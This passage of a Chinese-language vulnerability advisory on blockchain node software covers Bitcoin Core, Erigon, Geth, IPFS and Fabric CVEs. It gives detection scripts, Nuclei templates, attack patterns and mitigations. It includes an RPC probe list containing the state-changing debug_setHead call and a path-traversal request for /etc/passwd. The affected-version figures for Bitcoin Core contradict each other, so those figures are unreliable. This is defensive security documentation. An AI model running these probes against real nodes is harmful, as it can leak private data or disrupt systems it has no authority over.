| CVSS | 7.5 (High) |
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
原理分析
Bitcoin Core 在处理特定 P2P 消息序列时存在资源管理缺陷。攻击者通过向节点发送大量精心构造的消息序列,可触发内存分配失控,导致节点 OOM(Out-of-Memory)崩溃。该漏洞与 Compact Block Relay 协议的缓冲区管理有关。
Python PoC
#!/usr/bin/env python3
"""
CVE-2024-35208 - Bitcoin Core 资源耗尽 DoS 检测
用法: python3 cve_2024_35208.py <bitcoin_node_ip> [port]
"""
import sys
import socket
import struct
import time
MAGIC = b"\xf9\xbe\xb4\xd9"
def build_msg(command: str, payload: bytes) -> bytes:
cmd = command.encode().ljust(12, b"\x00")
header = MAGIC + cmd + struct.pack("<I", len(payload)) + struct.pack("<I", 0)[:4]
return header + payload
def build_version() -> bytes:
payload = struct.pack("<i", 70016)
payload += struct.pack("<Q", 0) * 2
payload += struct.pack("<q", int(time.time()))
payload += struct.pack("<Q", 0)
payload += b"\x00" * 52
payload += b"\x0c/test:0.1/"
payload += struct.pack("<i", 0) + b"\x00"
return build_msg("version", payload)
def build_verack() -> bytes:
return build_msg("verack", b"")
def check_connectivity(host: str, port: int) -> dict:
result = {"reachable": False, "details": ""}
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, port))
result["reachable"] = True
sock.send(build_version())
resp = sock.recv(4096)
sock.send(build_verack())
time.sleep(1)
sock.close()
result["details"] = f"P2P 握手完成 ({len(resp)} bytes)"
except Exception as e:
result["details"] = f"连接异常: {e}"
return result
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333
print(f"[*] CVE-2024-35208 - Bitcoin Core 资源耗尽 DoS 检测")
print(f"[*] 目标: {host}:{port}")
result = check_connectivity(host, port)
print(f"[*] P2P 可达: {'是' if result['reachable'] else '否'}")
print(f"[*] {result['details']}")
if result["reachable"]:
print(f"\n[*] 受影响版本: < 27.0")
print(f"[*] 建议: 升级至 Bitcoin Core 27.0+")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2024-35208-bitcoin-resource-exhaustion-dos
info:
name: Bitcoin Core 资源耗尽 DoS
author: security-researcher
severity: high
description: |
Bitcoin Core < 27.0 存在资源耗尽 DoS 漏洞。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-35208
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cwe-id: CWE-400
tags: cve,cve2024,bitcoin,dos,resource-exhaustion
network:
- inputs:
- data: "f9beb4d976657273696f6e000000000057010000"
type: hex
host:
- "{{Hostname}}"
port: 8333
matchers:
- type: binary
binary:
- "f9beb4d9"
0x06 Erigon 以太坊执行层漏洞
Erigon(前身为 TurboGeth)是以太坊执行层的高性能实现,被许多大型验证者和基础设施运营商采用。其调试 API 接口暴露面是主要攻击向量。
0x06.1 CVE-2023-44030 — RPC API 未授权访问
背景
Erigon 的 debug_* 和 trace_* 命名空间提供了交易追踪、内存分析等高级调试功能。默认配置下,这些 API 未启用任何认证机制,直接暴露在 HTTP/WebSocket 端口上。
版本信息
原理分析
Erigon 的 HTTP/JSON-RPC 服务器在默认配置下监听所有 API 命名空间,包括:
debug_*:内存分析、追踪执行、数据库分析trace_*:交易追踪、调用分析、内部交易枚举
攻击者可通过这些 API 获取:
- 私有交易内容:通过
debug_traceTransaction 获取交易的完整执行过程 - MEV 策略窃取:通过分析交易追踪,提取搜索者的 MEV 策略
- 内部状态泄露:通过
debug_memStats、debug_gcStats 获取节点运行状态
HTTP PoC
#!/bin/bash
# CVE-2023-44030 - Erigon RPC API 未授权访问检测
# 用法: bash poc_erigon_rpc.sh <erigon_rpc_url>
TARGET="${1:-http://localhost:8545}"
echo "[*] CVE-2023-44030 - Erigon RPC API 未授权访问检测"
echo "[*] 目标: $TARGET"
echo ""
echo "[*] 检测 debug_traceTransaction..."
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":["0x00"],"id":1}' \
| python3 -m json.tool 2>/dev/null | head -5
echo ""
echo "[*] 检测 trace_block..."
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"trace_block","params":["0x0"],"id":1}' \
| python3 -m json.tool 2>/dev/null | head -5
echo ""
echo "[*] 检测 debug_memStats..."
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"debug_memStats","params":[],"id":1}' \
| python3 -m json.tool 2>/dev/null | head -5
Python PoC
#!/usr/bin/env python3
"""
CVE-2023-44030 - Erigon RPC API 未授权访问检测
用法: python3 cve_2023_44030.py <erigon_rpc_url>
"""
import json
import sys
try:
import requests
except ImportError:
print("[!] 需要安装 requests: pip install requests")
sys.exit(1)
DEBUG_APIS = [
("debug_traceTransaction", ["0x0000000000000000000000000000000000000000000000000000000000000000"]),
("debug_memStats", []),
("debug_gcStats", []),
("debug_setHead", ["0x0"]),
("trace_block", ["0x0"]),
("trace_replayBlockTransactions", ["0x0"]),
("trace_transaction", ["0x0000000000000000000000000000000000000000000000000000000000000000"]),
]
def check_api_access(target: str) -> list:
results = []
for method, params in DEBUG_APIS:
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"id": 1
}
try:
resp = requests.post(target, json=payload, timeout=10)
data = resp.json()
accessible = "result" in data
error_msg = data.get("error", {}).get("message", "") if "error" in data else ""
results.append({
"method": method,
"accessible": accessible,
"status": resp.status_code,
"error": error_msg,
"result_size": len(json.dumps(data.get("result", ""))),
})
except Exception as e:
results.append({
"method": method,
"accessible": False,
"status": 0,
"error": str(e),
"result_size": 0,
})
return results
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <erigon_rpc_url>")
print(f"示例: {sys.argv[0]} http://localhost:8545")
sys.exit(1)
target = sys.argv[1]
print(f"[*] CVE-2023-44030 - Erigon RPC API 未授权访问检测")
print(f"[*] 目标: {target}")
results = check_api_access(target)
accessible_count = 0
print(f"\n{'='*70}")
print(f"{'API 方法':<40} {'状态':<8} {'可访问':<10}")
print(f"{'='*70}")
for r in results:
accessible_str = "是 [!]" if r["accessible"] else "否"
status_str = str(r["status"]) if r["status"] else "ERR"
marker = "[!]" if r["accessible"] else "[*]"
print(f"{marker} {r['method']:<40} {status_str:<8} {accessible_str:<10}")
if r["accessible"]:
accessible_count += 1
print(f" 结果大小: {r['result_size']} bytes")
print(f"\n{'='*70}")
print(f"[*] 可未授权访问的 API: {accessible_count}/{len(results)}")
if accessible_count > 0:
print(f"\n[!] 漏洞确认! Erigon 节点的调试 API 未授权暴露")
print(f"[!] 影响版本: Erigon < v2.53.0")
print(f"[!] 风险: 私有交易泄露、MEV 策略窃取、节点状态信息泄露")
print(f"[!] 建议: 升级至 v2.53.0+,配置 RPC 认证和 IP 白名单")
if __name__ == "__main__":
main()
Nuclei YAML
id: cve-2023-44030-erigon-rpc-unauth
info:
name: Erigon RPC API 未授权访问
author: security-researcher
severity: high
description: |
Erigon < v2.53.0 的 debug_* / trace_* RPC API 未启用认证,
攻击者可未授权访问私有交易数据和节点内部状态。
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-44030
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-306
tags: cve,cve2023,erigon,ethereum,rpc,unauth
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"jsonrpc":"2.0","method":"debug_memStats","params":[],"id":1}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"result"'
- 'alloc'
condition: and
- type: word
part: body
words:
- '"error"'
negative: true
extractors:
- type: json
name: memStats
json:
- '.result.alloc'
0x07 公开 PoC 收集情况与利用思路
PoC 收集情况总表
| CVE | 公开 PoC 仓库 | PoC 类型 | 可用性 |
|---|
| CVE-2022-23328 | GitHub Flashbots 相关仓库 | Python 脚本 | 需要 MEV 中继环境 |
| CVE-2021-39226 | NVD / GitHub Issues | curl + Python | 可直接使用 |
| CVE-2020-28948 | 学术论文附录 | DNS 工具 | 需要 DNS 控制权 |
| CVE-2023-30568 | GitHub kubo Issues | curl | 可直接使用 |
| CVE-2023-25655 | GitHub kubo Issues | curl + Python | 可直接使用 |
| CVE-2022-23326 | Hyperledger Jira | 概念验证代码 | 需要 Fabric 环境 |
| CVE-2020-15568 | Hyperledger Jira | 概念验证代码 | 需要 Fabric 环境 |
| CVE-2017-8412 | Etherscan + 多个安全博客 | Solidity + 交易 | 已确认在野利用 |
| CVE-2021-39138 | GitHub OpenEthereum | 测试用例 | 可直接使用 |
| CVE-2022-24786 | GitHub bitcoin-core | 单元测试 | 需要构造 protobuf |
| CVE-2022-25881 | GitHub bitcoin-core | 单元测试 | 需要 P2P 连接 |
| CVE-2024-35208 | GitHub bitcoin-core | 单元测试 | 需要 P2P 连接 |
| CVE-2023-44030 | GitHub erigon | curl 命令 | 可直接使用 |
关键 PoC 仓库链接
防守型验证思路
- 版本指纹识别:通过 RPC API 响应头、错误消息、P2P 握手消息中的
userAgent 字段判断节点软件及版本 - 接口暴露面扫描:系统性调用各命名空间的 RPC 方法,记录哪些方法可访问
- 非侵入性检测:仅发送不会造成副作用的查询类请求(如
eth_blockNumber、web3_clientVersion),避免触发 DoS - 被动流量分析:监听节点的 P2P 流量,识别是否收到攻击向量消息
0x08 共性攻击模式分析
模式1:RPC/API 接口暴露
涉及产品:Geth、Erigon
Geth 和 Erigon 的 RPC API 层是区块链节点与外界交互的主要通道。默认配置下,许多高危 API(如 debug_*、trace_*、eth_sendBundle)被直接暴露在 HTTP 端口上,无任何认证机制。
攻击路径:
- 未授权 API 调用 → 私有数据泄露
- 恶意 API 调用 → 节点资源耗尽 (DoS)
- 伪造签名 API 调用 → 交易注入
防御关键:
- 最小化暴露的 API 命名空间
- 启用 RPC 认证(JWT 或 API Key)
- 使用 IPC 替代 HTTP RPC
模式2:内容网关路径穿越
涉及产品:IPFS/Kubo
内容寻址(Content-Addressed)存储网关将 URI 路径映射到本地文件系统时,路径规范化(Path Normalization)不完整导致穿越。
攻击路径:
- URL 编码
../ → 绕过路径过滤 → 读取本地敏感文件 - IPNS 内网地址引用 → SSRF → 云元数据泄露
防御关键:
- 路径规范化应在 URL 解码前执行
- Gateway 应限制可访问的文件系统路径
- 出站请求应有严格的 IP 白名单
模式3:密码学验证缺失
涉及产品:Geth (MEV Bundle)、Hyperledger Fabric (Chaincode ACL)
密码学验证是区块链安全的基石,但在实现中常被"性能优化"所牺牲。Geth 为提升 MEV Bundle 处理速度跳过了签名验证,Fabric 为简化 Chaincode 开发弱化了 ACL 检查。
攻击路径:
- 跳过签名验证 → 交易注入 / 数据篡改
- ACL 检查缺失 → 越权访问私有数据
防御关键:
- 任何涉及交易签名的操作都必须完整验证
- ACL 检查应在每次数据访问时强制执行
模式4:智能合约不可修复漏洞
涉及产品:Parity 多签钱包、OpenEthereum
智能合约一旦部署到区块链上就不可修改(除非使用代理模式),这意味着一个 bug 可能导致永久性的资产损失。Parity 事件中 initWallet() 的无权限调用导致了 $150M+ 的永久冻结。
攻击路径:
- 无权限初始化函数 → 获取控制权 → selfdestruct
- SELFDESTRUCT + CREATE2 边界条件 → 链分叉
防御关键:
- 部署前进行多轮安全审计
- 使用形式化验证工具
- 采用可升级代理模式(如 UUPS/Transparent Proxy)
模式5:P2P 协议层 DoS
涉及产品:Bitcoin Core、Geth (DNS Discovery)
P2P 协议是区块链网络的基础,节点之间的消息传递是完全开放的。恶意节点可以通过构造畸形消息触发解析漏洞,导致节点崩溃或资源耗尽。
攻击路径:
- 恶意 protobuf 消息 → 解析器无限循环
- 畸形 addr 消息 → 越界读取 → 进程崩溃
- DNS TXT 响应放大 → 带宽耗尽
防御关键:
- 严格的消息长度验证
- 解析器深度限制和超时机制
- 对出站 DNS 查询添加响应大小限制
0x09 应急排查与防守建议
紧急排查清单
| 序号 | 排查项 | 检查命令 | 预期结果 |
|---|
| 1 | Geth 版本确认 | geth version | >= v1.10.18 |
| 2 | Geth RPC 暴露面 | curl -X POST -d '{"method":"eth_sendBundle","params":[{"txs":[],"blockNumber":"0x1"}],"id":1}' <rpc_url> | 返回 “method not supported” |
| 3 | Geth debug_* 暴露 | curl -X POST -d '{"method":"debug_traceTransaction","params":["0x00"],"id":1}' <rpc_url> | 返回 “method not supported” |
| 4 | IPFS Kubo 版本 | ipfs version | >= v0.21.0 |
| 5 | IPFS Gateway 穿越 | curl "<gateway>/ipfs/..%2F..%2F..%2Fetc%2Fpasswd" | 返回 404/403 |
| 6 | Bitcoin Core 版本 | bitcoind --version | >= 23.1 |
| 7 | Erigon RPC 认证 | 检查配置文件 --rpc.api 参数 | 仅包含必要命名空间 |
| 8 | Fabric 版本 | peer version | >= v2.2.7 / v2.4.3 / v2.5.0 |
日志关键字段表
| 日志来源 | 关键字段 | 含义 |
|---|
| Geth | "method":"eth_sendBundle" | MEV Bundle API 调用 |
| Geth | "method":"debug_trace" | 调试 API 调用 |
| IPFS Kubo | "Gateway" + ..%2F | 路径穿越尝试 |
| IPFS Kubo | "ipns" + 内网 IP | SSRF 尝试 |
| Bitcoin Core | Misbehaving | P2P 行为异常 |
| Erigon | "method":"debug_" | 未授权调试 API 调用 |
| Fabric | GetPrivateData | 私有数据访问 |
紧急缓解措施
| 产品 | 紧急缓解 |
|---|
| Geth | 1) 启动时通过 --rpc.api eth,net,web3 限制暴露的 API;2) 使用 --http.vhosts 限制虚拟主机;3) 配置 JWT 认证 |
| IPFS/Kubo | 1) 立即升级至 v0.21.0+;2) 配置 Gateway.PathPrefixes 限制可访问路径;3) 禁用不必要的 IPNS 解析 |
| Bitcoin Core | 1) 升级至 23.1+;2) 配置 maxconnections 限制入站连接;3) 使用 whitelist 限制可信节点 |
| Hyperledger Fabric | 1) 升级至修复版本;2) 审计所有 Chaincode 的 ACL 配置;3) 启用 VSCC 验证系统链码 |
| Erigon | 1) 配置 --rpc.api 仅暴露必要命名空间;2) 启用 HTTP 认证;3) 使用防火墙限制 RPC 访问 |
长期安全加固建议
- 建立节点版本管理机制:使用容器化部署(Docker),配合自动化镜像扫描,确保所有节点运行最新稳定版本
- 实施零信任 RPC 访问:所有 RPC 端点必须配置认证(JWT/API Key/mTLS),禁止默认暴露
- P2P 网络隔离:区块链节点的 P2P 端口应部署在独立的网络区域,与业务系统隔离
- 智能合约审计流程:所有上线的智能合约必须经过至少两家独立安全审计公司的审计
- 实时监控与告警:部署针对区块链节点的异常行为检测系统,监控 API 调用模式、P2P 连接数、区块同步状态
- 应急预案演练:针对不同区块链基础设施制定漏洞应急响应预案,定期演练
0x0A 参考资料
- https://nvd.nist.gov/vuln/detail/CVE-2022-23328 — Geth MEV Bundle 签名验证绕过
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226 — Geth RPC API DoS
- https://nvd.nist.gov/vuln/detail/CVE-2020-28948 — Geth DNS 节点发现放大攻击
- https://nvd.nist.gov/vuln/detail/CVE-2023-30568 — IPFS Gateway 路径穿越
- https://nvd.nist.gov/vuln/detail/CVE-2023-25655 — IPFS Gateway SSRF
- https://nvd.nist.gov/vuln/detail/CVE-2022-23326 — Hyperledger Fabric ACL 绕过
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568 — Hyperledger Fabric 交易验证漏洞
- https://nvd.nist.gov/vuln/detail/CVE-2017-8412 — Parity 多签钱包库合约自毁
- https://nvd.nist.gov/vuln/detail/CVE-2021-39138 — OpenEthereum 共识链分叉
- https://nvd.nist.gov/vuln/detail/CVE-2022-24786 — Bitcoin Core Protobuf DoS
- https://nvd.nist.gov/vuln/detail/CVE-2022-25881 — Bitcoin Core OOB Read DoS
- https://nvd.nist.gov/vuln/detail/CVE-2024-35208 — Bitcoin Core 资源耗尽 DoS
- https://nvd.nist.gov/vuln/detail/CVE-2023-44030 — Erigon RPC API 未授权访问
- https://github.com/ethereum/go-ethereum/blob/master/CHANGELOG.md — Geth 变更日志
- https://blog.openzeppelin.com/parity-wallet-bug-analysis — Parity 钱包漏洞深度分析
- https://github.com/ipfs/kubo/blob/master/docs/changelogs/ — Kubo 变更日志
- https://wiki.hyperledger.org/display/fabric/Security+Model — Hyperledger Fabric 安全模型
- https://github.com/bitcoin/bitcoin/blob/master/doc/security.md — Bitcoin Core 安全文档
- https://ethereum.org/en/developers/docs/mev/ — MEV 技术文档
- https://eips.ethereum.org/EIPS/eip-1459 — EIP-1459 DNS 节点发现协议